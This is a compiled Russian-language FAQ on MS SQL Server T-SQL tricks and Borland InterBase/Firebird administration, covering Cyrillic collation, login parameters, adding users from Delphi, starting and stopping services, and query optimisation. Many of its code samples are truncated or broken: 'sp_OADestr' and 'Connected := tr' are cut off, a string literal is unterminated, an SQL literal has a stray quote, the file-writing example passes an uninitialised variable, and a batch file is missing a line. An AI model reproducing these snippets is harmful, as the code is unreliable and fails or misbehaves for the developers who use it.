---Примечание:
---c.xtype = 56    - означает, что нас интересуют только поля таблиц
---c.type  = 38    - означает, что нас интересуют числовые поля

SELECT @sColumnName = ''          --начальная инициализация - на всякий пожарный

WHILE 1 = 1
BEGIN
  SET rowcount 1                  --данные из таблицы будем выбирать по одной строке
  SELECT @sColumnName = name      --получили имя
    FROM  #cname
    WHERE name > @sName           --следующей колонки
    ORDER BY  name                --обязательно отсортировать по полю, которое выбираем!

  IF @@rowcount = 0               --если дошли до конца временно таблицы
  BEGIN
    SET rowcount 0
    BREAK                         --завершим цикл
  END

  SET rowcount 0

  --используем динамическое создание SQL запроса
  SELECT @sTempQuery = ' WHERE ' + @sColumnName + '= ' + Str(@nSearchParam)
  SELECT @sQuery = 'IF EXIST (SELECT 1 FROM ' + @sTabname + @sTempQuery + ') BEGIN ' +
                   ' SELECT ' + @sColumnName + ',* FROM ' + @sTabname + @sTempQuery + ' END'

  --исполним его
  EXEC (@sQuery)

  --такие сложности с EXIST нам нужны для того, что бы QueryAnalyzer не мучал нас выводом пустых
  --результатов запроса
END
DROP TABLE #cname    ---уничтожим временную таблицу

Что то похожее можно написать для поиска строкового параметра, я думаю, Вы и сами
справитесь с этой простой задачей. Аналогично, для диапазонов значений, и т.д.
Остаётся лишь подправить по своему вкусу запрос @sTempQuery.
Успехов

P.S. Вчера, пока писал эту приблуду, обнаружил небольшую брешь в БД. А именно - недостаток
записей с определёнными id. Сначала думал, что сам неправильно пишу, но оказалось, что
это глюк БД, при чём глюк - не от немецкого слова счастье, а от русского слова несчастье.
Оказалось - очень полезная штука! Надеюсь, и вам пригодится.

Автор AQL
Взято из http://forum.sources.ru


Запись файла

Пример простейшей процедуры на Transact-SQL, создающей файл и
записывающий в неё что нибудь. Для этого используется WindowsScripting.
WindowsScripting - если грубо - это набор OLE-объектов, которые можно использовать для целей управления системой. Их удобно использовать там, где невозможно достучаться к функциям Win32 API напрямую, например, в SQL Server-е.
Ниже приводится исходник на Transact-SQL с комментариями, как это сделать
Надеюсь, что он достаточно хорошо прокомментирован.

DECLARE @FileName varchar(255),
----текст, который необходимо записать в файл---
@sFileText varchar(8000),

----директория файла---
@sFileDir varchar(8000),

----имя файла----------
@sFileName varchar(8000),

@FS int,
@FileID int,
@hr int,
@OLEResult int,

@source varchar(30),
@desc varchar (200),
@bFolder bit

--функция sp_OACreate создаёт OLE объект 'Scripting.FileSystemObject'----
EXECUTE @OLEResult = sp_OACreate 'Scripting.FileSystemObject', @FS OUTPUT

--обязательно обработать ошибочные ситуации---
IF @OLEResult <> 0
BEGIN
GOTO Error_Handler
END

select @sFileDir = 'c:\'
select @sFileName = @sFileDir + '123.log'

/*
у Scripting.FileSystemObject есть много интересных методов для работы с файлами
и директориями, подробнее их можно подсмотреть, например, в MSDN.
*/

--проверить - существует ли заданная директория, для этого вызовем функцию 'FolderExists'
--ранее созданого OLE объекта---
execute @OLEResult = sp_OAMethod @FS,'FolderExists',@bFolder OUT, @sFileDir
IF @OLEResult <> 0 Or @bFolder = 0
BEGIN
  --а если не существует - то создать её----
  execute @OLEResult = sp_OAMethod @FS,'CreateFolder',@bFolder OUT, @sFileDir
  IF @OLEResult <> 0 And @bFolder = 0
  BEGIN
    GOTO Error_Handler
  END
END

--создать файл---
execute @OLEResult = sp_OAMethod @FS,'CreateTextFile',@FileID OUTPUT,@FileName
IF @OLEResult <> 0
BEGIN
  GOTO Error_Handler
END

--создадим строку, которую будем записывать в файл---
set @sFileText = 'Hello first file!' + char(0)

-----------------записать строку в файл---
execute @OLEResult = sp_OAMethod @FileID, 'WriteLine', NULL, @sFileText
IF @OLEResult <> 0
BEGIN
  GOTO Error_Handler
END

goto Done

Error_Handler:  --обработаем ошибку---
EXEC @hr = sp_OAGetErrorInfo null, @source OUT, @desc OUT

Done:
--очистим за собой всяческий OLE-мусор----
EXECUTE @OLEResult = sp_OADestroy @FileID
EXECUTE @OLEResult = sp_OADestr

Автор AQL
Взято из http://forum.sources.ru


Работа с Interbase

Cодержание раздела:

Как предотвратить появление login dialog?
Как получить текущее время?
Как получить список таблиц?
Как восстановить целостность автоинкрементного поля?
Как остановить или запустить IB сервис?
Ошибка: lock manager out of room
Ошибка о файле SAA.AAA
Как гарантированно сделать backup?
Проблемы с автоинкрементальными полями
Изображения и InterBase Blob-поля
Работает-ли IB с русскими буквами?
Как я могу работать с IB с клиентского компьютера?
Можно-ли создать пользователя БД при помощи SQL-команды?
Есть-ли способ восстановить несохраненные (uncommitted) изменения БД, например в случае отключения питания?
Можно-ли в запросах делать поиск по BLOB?
Можно-ли создать индекс по полю view?
Почему в операторе SELECT для VIEW нельзя использовать ORDER BY?
Как скопировать данные между БД?
Как избавиться от ошибки multiple rows in singleton select?
Мне нужны временные таблицы, но их нет в IB. Что делать?
В чем разница между CHAR и VARCHAR ? Что лучше использовать?
Можно-ли поместить БД IB на CD-ROM?
Как выполнить create procedure/trigger при помощи TQuery?
Не могу подсоединиться к IB из под web-сервера IIS, Netscape, Baikonur и др.
Ошибка при установке Internal error near IBcheck
Автоматический logon к локальной InterBase
Interbase BLOB-поля
Удаление большого количества записей
Установка Interbase и добавление пользователя
Создание UDF для InterBase
При попытке регистрации UDF возникает ошибка - udf not defined
Переход с Oracle на Interbase
Как установить клиента InterBase
В InterBase при создании базы ввести параметр для поддержки русского языка
OLE и Interbase - прочесть и записать
Hе получается открыть таблицу (WIN1251 undefined) New!
Генераторы и их использование New!
Использование русских кодировок приводит к ошибке New!
Почему таблица или select показывается в Grid быстро, а перемещение в конец таблицы происходит долго? New!
В каких версиях IB поддерживаются уведомления о событиях (Event Alerts)? New!
Сколько памяти использует IB на сервере? New!
Проблемы с открытием базы данных. New!
Что такое ISC4.GDB? Для чего нужна эта БД? New!
Пропажа прав пользователей в Local IB после переноса New!
Как переносить базы данных между разными IB? New!
Почему IB работает неустойчиво на NetWare 4.x? New!
Включение WAL на NetWare ухудшает производительность на 80% при вставках записей, и только на 15% - при обновлениях. New!
Как оптимизировать запросы? New!
Каков максимальный размер базы данных IB? New!
Сколько БД я могу открыть в одной транзакции? New!
Как заставить Interbase принять COLLATE PXW_CYRL по умолчанию New!


Работает-ли IB с русскими буквами?

Да, как с кодировкой 866 так и с 1251, как из Delphi 1.0, так и из Delphi 2.0. Для того, чтобы в БД в строковых полях использовались русские буквы, необходимо при создании БД указать в качестве дополнительного параметра фразу:

DEFAULT CHARACTER SET WIN1251

А в BDECFG32 в драйвере IB и его псевдонимах (aliases) указать языковый драйвер Pdox ANSI Cyrillic. Такие установки обеспечат нормальную работу с кодировкой 1251. (в TDatabase.Params этот языковый драйвер указывается как LANGDRIVER=ancyrr).

Для компонент прямого доступа необходимо в параметрах соответствующего компонента XXDatabase дописать
lc_ctype=WIN1251

Дополнительно, если вы предполагаете использовать выражение UPPER в SQL запросах, то Вам потребуется при создании таблиц IB использовать уточнение COLLATION SEQUENCE для строковых полей.

К сожалению, установить COLLATE PXW_CYRL по умолчанию для базы данных невозможно (такой параметр отсутствует). Поэтому таблицы IB, созданные при помощи Database Desktop или компонента TTable не будут иметь правильного COLLATE для работы с функцией SQL UPPER. (Эта проблема, необходимо отметить, не относится к работе с регистром русских букв внутри Delphi, поскольку для этого внутри VCL используются функции Windows, правильно переводящие буквы кодировки 1251 в верхний регистр и обратно.)

Например, если возможен запрос такого типа:

SELECT * FROM CUSTOMERS
WHERE UPPER(NAME) = 'ИВАНОВ'

То таблицу CUSTOMERS придется создавать при помощи текста

CREATE TABLE CUSTOMERS (
ID INTEGER NOT NULL,
NAME CHAR(30) COLLATE PXW_CYRL,
PRIMARY KEY (ID))

фраза COLLATE PXW_CYRL заставляет IB использовать таблицу трансляции символов PXW_CYRL вместо WIN1251 (которая устанавливается по умолчанию для DEFAULT CHARACTER SET WIN1251).

Однако можно использовать указание порядка сортировки "на ходу", без указания порядка сортировки в описании таблицы - при помощи того-же спецификатора COLLATE. В этом случае запросы могут выглядеть следующим образом:

SELECT * FROM CUSTOMERS
WHERE UPPER(NAME COLLATE PXW_CYRL) = 'ИВАНОВ'

Учтите, что если Вы используете ORDER BY NAME, то порядок записей у полей с COLLATE PXW_CYRL будет отличаться от имеющих только CHARACTER SET WIN1251. В этом случае необходимо и в ORDER BY указывать COLLATE. Например

SELECT * FROM CUSTOMERS
WHERE UPPER(NAME COLLATE PXW_CYRL) = 'ИВАНОВ'
ORDER BY NAME COLLATE PXW_CYRL

примечание: решить проблему с изменением данных в русской кодировке при использовании ODBC-драйвера можно следующим образом: напрямую указывать кодировку перед строковым значением, содержащим русские символы.

INSERT INTO MYTABLE VALUES (1, _win1251 'Привет!').

К сожалению, такой способ приводит к тому, что со стандартными компонентами TTable и TQuery можно работать только используя дополнительный компонент UpdateSQL (который позволяет переопределить запросы выдаваемые этими компонентами при INSERT, UPDATE, DELETE, и кроме этого присутствует только в Delphi 2.0).

ODBC-драйвер, поставляемый в дистрибутиве IB 5.5 позволяет указать кодировку win1251 для алиаса, при этом никаких манипуляций с _win1251 не требуется.

Подробнее см. документ http:/www.ibase.ru/devinfo/0109.htm
Borland Interbase / Firebird FAQ
Borland Interbase / Firebird Q&A, версия 2.02 от 31 мая 1999
последняя редакция от 17 ноября 1999 года.
Часто задаваемые вопросы и ответы по Borland Interbase / Firebird
Материал подготовлен в Демо-центре клиент-серверных технологий. (Epsylon Technologies)
Материал не является официальной информацией компании Borland.
E-mail mailto:delphi@demo.ru
www: http://www.ibase.ru/
Телефоны: 953-13-34
источники: Borland International, Борланд АО, релиз Interbase 4.0, 4.1, 4.2, 5.0, 5.1, 5.5, 5.6, различные источники на WWW-серверах, текущая переписка, московский семинар по Delphi и конференции, листсервер ESUNIX1, листсервер mers.com.
Cоставитель: Дмитрий Кузьменко


Использование русских кодировок приводит к ошибке

Я установил Delphi X.0 C/S, но почему-то использование русских кодировок приводит к ошибке ?

Проблемы с созданием БД с кодировкой WIN1251 могут быть если у Вас бета-версия Delphi. Еще одна причина - пробелы в имени каталога, в котором
находятся файлы локального IB (Program Files\Borland\Delphi X.0\IntrBase), или база данных (gdb-файл).

Если вам не хочется переустанавливать IB, то вы можете сделать следующее:

предварительно выгрузив локальный IB (если он виден на TaskBar), переместите каталог IntrBase в каталог, не содержащий в имени пробелов или на диск C: (C:\IntrBase).
Запустите RegEdit. В Registry реально к IB имеют отношение две строки: автоматический запуск Local IB и путь к файлу лицензии IB.
Найдите эти две строки и измените путь в этих строках на новый.

Автор: Дмитрий Кузьменко (http://www.ibase.ru)


В InterBase при создании базы ввести параметр для поддержки русского языка

UPDATE RDB$FIELDS
SET RDB$CHARACTER_SET_ID = 52
WHERE RDB$FIELD_NAME = 'RDB$SOURCE''

Взято с http://delphiworld.narod.ru


Как заставить Interbase принять COLLATE PXW_CYRL по умолчанию

(Это очень полезно при прямой работе с IB из различного CASE-инструментария, типа PowerDesigner или ErWIN)

Чтобы не писать каждый раз COLLATE, я сделал следующее:

Создал сохранённую процедуру
create procedure fix_character_sets
as
begin
update
rdb$character_sets
set
rdb$default_collate_name = 'PXW_CYRL'
where
rdb$character_set_name = 'WIN1251'
and
rdb$default_collate_name = 'WIN1251'
;
end
Запустил ее один раз.

Создаю таблицы без указания COLLATE.

После восстановления из архива, запускаю еще раз.

Автор: Nomadic

Взято с http://delphiworld.narod.ru


Как предотвратить появление login dialog?

To bypass the login dialog when connecting to a server database, use the property LoginPrompt.You will have to provide the username & password at runtime, but you also can set that up at design time in the object inspector, property Params.

This short source code shows how to do it:

Database1.LoginPrompt := false;
with Database1.Params do
begin
  Clear;
  // the parameters SYSDBA & masterkey should be
  // retrieved somewhat different :-)
  Add('USER NAME=SYSDBA');
  Add('PASSWORD=masterkey');
end;
Database1.Connected := tr
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Можно-ли создать пользователя БД при помощи SQL-команды?

Нет. Единственно правильный способ - использовать Server Manager. (Tasks | User Security), либо утилиту командной строки GSEC, либо IB user API (для IB 5.x). См. www.ibase.ru/download.htm, www.borland.com/devsupport/bde/.
Borland Interbase / Firebird FAQ
Borland Interbase / Firebird Q&A, версия 2.02 от 31 мая 1999
последняя редакция от 17 ноября 1999 года.
Часто задаваемые вопросы и ответы по Borland Interbase / Firebird
Материал подготовлен в Демо-центре клиент-серверных технологий. (Epsylon Technologies)
Материал не является официальной информацией компании Borland.
E-mail mailto:delphi@demo.ru
www: http://www.ibase.ru/
Телефоны: 953-13-34
источники: Borland International, Борланд АО, релиз Interbase 4.0, 4.1, 4.2, 5.0, 5.1, 5.5, 5.6, различные источники на WWW-серверах, текущая переписка, московский семинар по Delphi и конференции, листсервер ESUNIX1, листсервер mers.com.
Cоставитель: Дмитрий Кузьменко


Автоматический logon к локальной InterBase

Используйте компонент TDatabase. В строках Params пропишите:

     USER NAME=sysdba
     PASSWORD=masterkey

Затем установите свойство компонента TDataBase LoginPrompt в False.
После этого, с помощью свойства DataBaseName, вы должны создать прикладной псевдоним (Alias) и связать TQuery/TTable с вашим компонентом TDataBase

Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Установка Interbase и добавление пользователя

Автор: Denis Alexandrovich Ivanov

Как сделать инсталятор, который прописывал бы пользователя в Interbase? BDE при этом не нужна совсем.

1. При помощи InstallShieldExpress формируется проект, который включает в себя установку Interbase Server.
2. После установки Interbase запускаешь программу, написанную на Delphi 6, которая добавляет нового пользователя Interbase

{************************************************************************
Проект       : ....
Автор        : Иванов Д.А.
Назначение   : Выжимки из библиотеки функций для работы со справочником
               пользователей
               Note: You must install InterBase 6 to use this feature.
Дата создания: 11.13.2002
История      :
************************************************************************}
unit usr;
interface
uses IBCustomDataSet,IBDataBase,IBServices;
type
  TUsrInfo = record
    Usr:string ; //login
    Uid:integer; //уникальный идентификатор, если программа ведет
                 //справочник пользователей в своей БД - его можно
                 //брать оттуда по секвенции
    Grp:integer; //Group
    Pas:string ; //password
  end;

  TUsrClass = class(TObject)
  private
    { Private declarations }
  public
    UsrData:TUsrInfo;
    dbSec  :TIBSecurityService;
    // добавляет или редактирует пользователя в Interbase
    function UpdateUser: string;
  end;

  TUsrLib = class(TUsrClass)
  private
    { Private declarations }
  public
    procedure AddNewUserToInterbase;
  end;

var
  clUsr:TUsrLib;

implementation
uses SysUtils,Controls,db,windows,QDialogs;

(***************** Добавляет или редактирует пользователя ***************)
function TUsrClass.UpdateUser: string;
                               //Usrid = 0 - новый пользователь
  var Edes:string; //Описание ошибок
begin
  try
    if UsrData.Usr = '' then Edes:= 'не указан login пользователя';
    if UsrData.Uid = 0  then Edes:= 'не указан id пользователя';
    if UsrData.Grp = 0  then Edes:= 'не
    if UsrData.Pas = '' then Edes:= 'не указан пароль пользователя';
    if EDes < >  '' then raise Exception.Create(Edes);
    //Добавляем пользователя в interbase
    with dbSec do begin
      if not Active then Active := True;
      UserName  := UsrData.Usr;
      UserID    := UsrData.Uid;
      GroupID   := UsrData.Grp;
      Password  := UsrData.Pas;
      try
        DisplayUser(UserName);
        if UserInfo[0] = nil then AddUser else ModifyUser;
      except
        Edes:='Ошибка добавления пользователя в interbase security';
        raise Exception.Create(Edes);
      end;
      //раздача если нужно права доступа пользователя на таблицы
      (* EDes:= GrantData(UsrData.Usr);
         if EDes < >  '' then raise Exception.Create(Edes);
      *)
    end;
  except
    if EDes = '' then EDes:= 'Ошибка добавления пользователя в interbase security';
  end;
  Result:= EDes;
end;

procedure TUsrLib.AddNewUserToInterbase;
  var Edes:string; //Описание ошибок
begin
  UsrData.Usr := 'ida' ;
  UsrData.Uid := 123   ;
  UsrData.Grp := 1     ;
  UsrData.Pas := 'pass';
  EDes:= UpdateUser;
  if EDes < >  '' then raise Exception.Create(Edes);
end;

begin
  clUsr:=TUsrLib.Create;
end.

Установку Interbase 6.0 я пробовал делать двумя системами создания инсталляций:

- InstallShield
- Wise Install Builder.

Для обоих использовал готовые скрипты с сайта http://ibinstall.defined.net/. По результатам могу сказать, что Wise удобнее и проще в инсталляции. Кроме того у него есть текстовый редактор скрипта, что нашему брату шибко нравится. Установка и запуск IBGuard проходит как и в фирменном варианте сразу (Silent Install).

Взято с http://delphiworld.narod.ru


Можно-ли в запросах делать поиск по BLOB?

Да. Поиск по строковым (CHAR, VARCHAR) полям или по BLOB можно производить при помощи операторов CONTAINING, STARTING WITH и LIKE. Например

SELECT * FROM MYTABLE
WHERE BLOBFIELD CONTAINING 'sometext';

Поиск по умолчанию считается case-insensitive (регистро-нечувствительный), поэтому для латинских букв строку поиска можно задавать строчными буквами (в нижнем регистре). В этом случае при поиске 'sometext' в ответ войдут записи с 'sometext', 'SOMETEXT' и 'SomeText'. К сожалению, для BLOB невозможно указать COLLATE для правильного перевода русских букв в верхний регистр, поэтому поиск слов, содержащих русские буквы, будет производиться только по точному совпадению.

При поиске подтип BLOB (SUB_TYPE 0 или 1 - текст или binary) не имеет значения, т.к. подтип имеет значение только для приложения, или для фильтров BLOB. BLOB-ы разных подтипов хранятся абсолютно одинаковым способом.
Borland Interbase / Firebird FAQ
Borland Interbase / Firebird Q&A, версия 2.02 от 31 мая 1999
последняя редакция от 17 ноября 1999 года.
Часто задаваемые вопросы и ответы по Borland Interbase / Firebird
Материал подготовлен в Демо-центре клиент-серверных технологий. (Epsylon Technologies)
Материал не является официальной информацией компании Borland.
E-mail mailto:delphi@demo.ru
www: http://www.ibase.ru/
Телефоны: 953-13-34
источники: Borland International, Борланд АО, релиз Interbase 4.0, 4.1, 4.2, 5.0, 5.1, 5.5, 5.6, различные источники на WWW-серверах, текущая переписка, московский семинар по Delphi и конференции, листсервер ESUNIX1, листсервер mers.com.
Cоставитель: Дмитрий Кузьменко


Почему в операторе SELECT для VIEW нельзя использовать ORDER BY?

Вообще независимо от наличия индексов записи в таблице располагаются в том порядке, в котором они добавлялись. Поскольку view представляет из себя "виртуальную" таблицу, то записи также должны быть представлены в произвольном порядке.
Borland Interbase / Firebird FAQ
Borland Interbase / Firebird Q&A, версия 2.02 от 31 мая 1999
последняя редакция от 17 ноября 1999 года.
Часто задаваемые вопросы и ответы по Borland Interbase / Firebird
Материал подготовлен в Демо-центре клиент-серверных технологий. (Epsylon Technologies)
Материал не является официальной информацией компании Borland.
E-mail mailto:delphi@demo.ru
www: http://www.ibase.ru/
Телефоны: 953-13-34
источники: Borland International, Борланд АО, релиз Interbase 4.0, 4.1, 4.2, 5.0, 5.1, 5.5, 5.6, различные источники на WWW-серверах, текущая переписка, московский семинар по Delphi и конференции, листсервер ESUNIX1, листсервер mers.com.
Cоставитель: Дмитрий Кузьменко


Как избавиться от ошибки multiple rows in singleton select?

Очевидно что данная ошибка происходит в вашем триггере или хранимой процедуре. Обычный SELECT внутри триггера или процедуры должен возвращать одну строку (row), т.к. при двух и более строках IB не знает куда поместить значения полей этих строк. Если ваш SELECT возвращает несколько записей, то нужно пользоваться конструкцией FOR SELECT ... INTO ... DO ... которая производит обработку возвращаемого набора записей в цикле.

Если-же вы уверены, что ваш SELECT должен вернуть только одну запись, а ошибка все-таки возникает, то давайте рассмотрим следующую ситуацию:

существуют таблицы ORDERS (заказы) и CLIENTS (клиенты).
обе эти таблицы имеют поле связи CLIENT_ID INTEGER.
для того чтобы вытащить информацию о клиенте используется запрос:

SELECT CLIENT_ID, CLIENT_NAME
FROM CLIENTS
WHERE CLIENT_ID = ?

где ? - либо значение либо переменная.

Теперь представим себе, что этот запрос должен выполняться в триггере при вставке записи в таблицу ORDERS

CREATE TRIGGER TI_ORDERS FOR ORDERS
ACTIVE AFTER INSERT POSITION 0
AS
DECLARE VARIABLE CID INTEGER;
DECLARE VARIABLE CNAME CHAR(30);
BEGIN
    SELECT C.CLIENT_ID, C.CLIENT_NAME
    FROM CLIENTS C
    WHERE C.CLIENT_ID = CLIENT_ID
    INTO :CID, :CNAME;
    ...

Итак, поскольку в запросе использован псевдоним C (FROM CLIENTS C), то якобы существует гарантия что в предложении WHERE будут сравниваться поле C.CLIENT_ID из таблицы CLIENTS и поле CLIENT_ID из таблицы ORDERS (в триггере доступны имена полей собственной таблицы). На самом деле даже использование псевдонимов не дает гарантии что переменные будут разичаться, и получается что в предложении WHERE сравнивается само с собой поле таблицы CLIENTS.CLIENT_ID, и в запросе возвращается ВСЯ таблица CLIENTS.

Вот почему возникает вышеупомянутое сообщение об ошибке.

Избавиться от него можно несколькими путями:

Использовать разные имена полей для связи между CLIENTS и ORDERS. например OCLIENT_ID и CCLIENT_ID.
Использовать уточнитель new.CLIENT_ID, несмотря на то что в документации указано что для триггеров последействия (AFTER) он не имеет смысла.

SELECT C.CLIENT_ID, C.CLIENT_NAME
FROM CLIENTS C
WHERE C.CLIENT_ID = new.CLIENT_ID
...

Перед запросом поместить CLIENT_ID в локальную переменную, и в запросе использовать сравнение не с полем, а с этой локальной переменной.

CID=CLIENT_ID;
SELECT C.CLIENT_ID, C.CLIENT_NAME
FROM CLIENTS C
WHERE C.CLIENT_ID = :CID
...
Borland Interbase / Firebird FAQ
Borland Interbase / Firebird Q&A, версия 2.02 от 31 мая 1999
последняя редакция от 17 ноября 1999 года.
Часто задаваемые вопросы и ответы по Borland Interbase / Firebird
Материал подготовлен в Демо-центре клиент-серверных технологий. (Epsylon Technologies)
Материал не является официальной информацией компании Borland.
E-mail mailto:delphi@demo.ru
www: http://www.ibase.ru/
Телефоны: 953-13-34
источники: Borland International, Борланд АО, релиз Interbase 4.0, 4.1, 4.2, 5.0, 5.1, 5.5, 5.6, различные источники на WWW-серверах, текущая переписка, московский семинар по Delphi и конференции, листсервер ESUNIX1, листсервер mers.com.
Cоставитель: Дмитрий Кузьменко


Почему таблица или select показывается в Grid быстро, а перемещение в конец таблицы происходит долго?

Когда вы открываете набор данных при помощи TTable, BDE производит fetch только такого количества записей, которые помещаются в Grid. Если вы захотели переместиться в конец таблицы, то для большинства SQL-серверов возможно перемещение по записям только вперед - т.е. если вам потребуется поместить указатель в середину таблицы то BDE пришлось-бы заново перечитывать записи с ее начала. Причина такой работы в том, что SQL-серверы в большинстве возвращают результаты запросов в виде последовательных наборов записей. В навигационных БД напротив, возможно физическое позиционирование на любую запись таблицы.

Если SQL-сервер поддерживает двунаправленные скроллируемые курсоры, то полное кэширование записей запроса выполняться BDE не будет.

Кроме этого, TTable и TQuery работают по разному. TQuery при перемещении в конец таблицы действительно сделает выборку всех записей, т.к. он и не может иначе - для выполнения задано конкретное SQL-выражение.

TTable-же напротив, показывает всю таблицу, и запросы для получения содержимого таблицы формируются автоматически. Поэтому TTable при нажатии вами в TDBGrid клавиш Ctrl-End сформирует запрос типа

SELECT * FROM TABLE ORDER BY INDEXFIELD DESC

и покажет только видимые в DBGrid записи "с конца". При этом, если нет DESC индекса по полю INDEXFIELD, сортировка данных (ORDER BY) будет производиться на диске. И чем больше записей в таблице, тем дольше. Для того, чтобы перемещение по Ctrl-End для TTable происходило быстро, нужно создать DESC индекс по полю сортировки. В этом случае операцию перехода в конец таблицы TTable выполнит практически мгновенно. Пользователи Delphi C/S могут посмотреть операторы, выдаваемые TTable SQL-серверу при помощи SQL Monitor.

Более подробно на эту тему см. документ http://www.ibase.ru/devinfo/bde.htm

Автор: Дмитрий Кузьменко (http://www.ibase.ru)


Как оптимизировать запросы?

Вот несколько простых рекомендаций для оптимизации запросов:

пробуйте разный порядок таблицы в запросе для получения оптимальной производительности (также и для явного join)
пробуйте ваши запросы в WISQL, включив Show Query Plan и Show Statistics.
используйте индексы по полям, участвующим в условиях where.
не забывайте делать SET STATISTICS по индексам, созданным вами специально для ускорения запросов.
К сожалению, не существует точных правил по оптимизации запросов - это путь проб и ошибок, т.к. невозможно заранее предсказать ни ваши запросы, ни ваши реальные данные.

примечание: бывают ситуации, когда оптимизатор "настаивает" на использовании всех индексов по определенному столбцу, даже если создан специальный композитный индекс по всем полям where. В этом случае необходимо принудительно заставить оптимизатор IB использовать нужный запрос, причем скорость отработки такого запроса может ускориться на порядок.
Автор: Дмитрий Кузьменко (http://www.ibase.ru)


Как остановить или запустить IB сервис?

Do you need to shutdown the Interbase db service e.g. for an installation program and afterwards restart it?

You could do this with a lot of Delphi code involving unit WinSvc and function calls to

OpenSCManager()
EnumServicesStatus()
OpenService()
StartService() or ControlService().

But luckily there is a much easier solution that uses the NET.EXE program which has been part of Windows since Windows for Workgroups (Wfw 3.11). Just create the two batch files

IBSTOP.BAT
IBSTART.BAT

and call them from your code. You may want to call them and wait for their termination.

IBSTOP.BAT
=============
@echo off
net stop "InterBase Guardian" >NULL
net stop "InterBase Server" >NULL

IBSTART.BAT
=============
@echo off
net start "Interbase Guardian" >NULL
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как я могу работать с IB с клиентского компьютера?

Можно использовать IB API (либо наборы компонт FreeIBComponents, IBObjects, IBX или FIBPlus, работающие напрямую с IB API), BDE+SQL Links, либо ODBC-драйвер.
Схема обмена данными между этими компонентами следующая

GDS32.DLL->IB прямое обращение к IB API
ODBC->GDS32.DLL-> IB работа через ODBC
BDE->SQL Link->GDS32.DLL->IB работа через BDE
BDE->ODBC->GDS32.DLL->IB работа через BDE, ODBC вместо SQL Link.

Практически во всех случаях вам не требуется производить какие-либо специфические настройки.
Borland Interbase / Firebird FAQ
Borland Interbase / Firebird Q&A, версия 2.02 от 31 мая 1999
последняя редакция от 17 ноября 1999 года.
Часто задаваемые вопросы и ответы по Borland Interbase / Firebird
Материал подготовлен в Демо-центре клиент-серверных технологий. (Epsylon Technologies)
Материал не является официальной информацией компании Borland.
E-mail mailto:delphi@demo.ru
www: http://www.ibase.ru/
Телефоны: 953-13-34
источники: Borland International, Борланд АО, релиз Interbase 4.0, 4.1, 4.2, 5.0, 5.1, 5.5, 5.6, различные источники на WWW-серверах, текущая переписка, московский семинар по Delphi и конференции, листсервер ESUNIX1, листсервер mers.com.
Cоставитель: Дмитрий Кузьменко


Можно-ли поместить БД IB на CD-ROM?

В IB 4.x и 5.x база данных должна быть всегда доступна на запись, т.к. даже простая выборка (чтение) из БД стартует транзакцию, а информация о транзакции должна быть записана в БД.

Возможность работать с read-only базами данных, а следовательно и помещать их на CD-ROM, появилась только в IB 6.0 и Firebird. Для того, чтобы сделать БД read-only, достаточно выполнить команду

gfix database.gdb -mode read_only

перед этим рекомендуется сделать backup/restore базе данных, предварительно установив флаг no_reserve в true (ключ -use у gfix), чтобы данные в БД были максимально уплотнены.
Также возможно установить режим read_only прямо при restore соответствующей опцией gbak.

Подробнее по режиму read_only см. документацию по IB6.
Borland Interbase / Firebird FAQ
Borland Interbase / Firebird Q&A, версия 2.02 от 31 мая 1999
последняя редакция от 17 ноября 1999 года.
Часто задаваемые вопросы и ответы по Borland Interbase / Firebird
Материал подготовлен в Демо-центре клиент-серверных технологий. (Epsylon Technologies)
Материал не является официальной информацией компании Borland.
E-mail mailto:delphi@demo.ru
www: http://www.ibase.ru/
Телефоны: 953-13-34
источники: Borland International, Борланд АО, релиз Interbase 4.0, 4.1, 4.2, 5.0, 5.1, 5.5, 5.6, различные источники на WWW-серверах, текущая переписка, московский семинар по Delphi и конференции, листсервер ESUNIX1, листсервер mers.com.
Cоставитель: Дмитрий Кузьменко


Не могу подсоединиться к IB из под web-сервера IIS, Netscape, Baikonur и др.

Если вы обращаетесь к IB из IIS, Baikonur и т.п. Web-серверов, то нужно использовать строку коннекта как для удаленного сервера, т.к. локальное подсоединение работать не будет. Например, 'server:c:\dir\data.gdb' или '\\server\c:\data.gdb'.
Borland Interbase / Firebird FAQ
Borland Interbase / Firebird Q&A, версия 2.02 от 31 мая 1999
последняя редакция от 17 ноября 1999 года.
Часто задаваемые вопросы и ответы по Borland Interbase / Firebird
Материал подготовлен в Демо-центре клиент-серверных технологий. (Epsylon Technologies)
Материал не является официальной информацией компании Borland.
E-mail mailto:delphi@demo.ru
www: http://www.ibase.ru/
Телефоны: 953-13-34
источники: Borland International, Борланд АО, релиз Interbase 4.0, 4.1, 4.2, 5.0, 5.1, 5.5, 5.6, различные источники на WWW-серверах, текущая переписка, московский семинар по Delphi и конференции, листсервер ESUNIX1, листсервер mers.com.
Cоставитель: Дмитрий Кузьменко


Как установить клиента InterBase

1. Для Yaffil или FireBird последних билдов - ничего не надо, кроме gds32.dll в директориях поиска библиотек.

2. Для IB5, IB6 или старого FB первых билдов - надо дополнительно прописать в файле services строчку "gds_db 3050/tcp" {файл должен завершаться пустую строкой}.

3. Для IB5, дополнительно к п.2., добавить в ключ реестра:

HKLM\SOFTWARE\InterBase Corp\InterBase\CurrentVersion\RootDirectory

строковое значение - имя папки, в которой лежит файл ib_license.dat

4. В случае медленного подключения клиентов в сети TCP/IP попробуйте прописать адреса IB серверов в файле HOSTS.

Взято с http://delphiworld.narod.ru


Сколько памяти использует IB на сервере?

Минимально при запуске - от 1.2 до 3 Мб, далее память распределяется динамически в зависимости от запросов, выполняемых клиентами (от 40 до 400К на клиента). Кроме этого, объем используемой памяти сильно зависит от архитектуры сервера (Classic или SuperServer), операционной системы, размера кэша страниц БД и других настроек. Подробнее по настройкам см. PERFORM.HLP в каталоге INTRBASE\BIN
Автор: Дмитрий Кузьменко (http://www.ibase.ru)


Проблемы с открытием базы данных.

У меня возникают проблемы с открытием базы данных. USERNAME и PASSWORD вроде-бы правильные.

Может быть, что в момент ввода пароля клавиатура переключена в режим Caps Lock - а пароль является регистрочувствительным. После установки действуют имя пользователя SYSDBA и пароль masterkey. Они предназначены для работы Администратора БД. Из соображений security вы должны изменить пароль masterkey, чтобы никто кроме вас не смог подсоединиться к IB. Также, ни в коем случае нельзя удалять пользователя SYSDBA, иначе вы потеряете доступ к системным таблицам.
Автор: Дмитрий Кузьменко (http://www.ibase.ru)


Что такое ISC4.GDB? Для чего нужна эта БД?

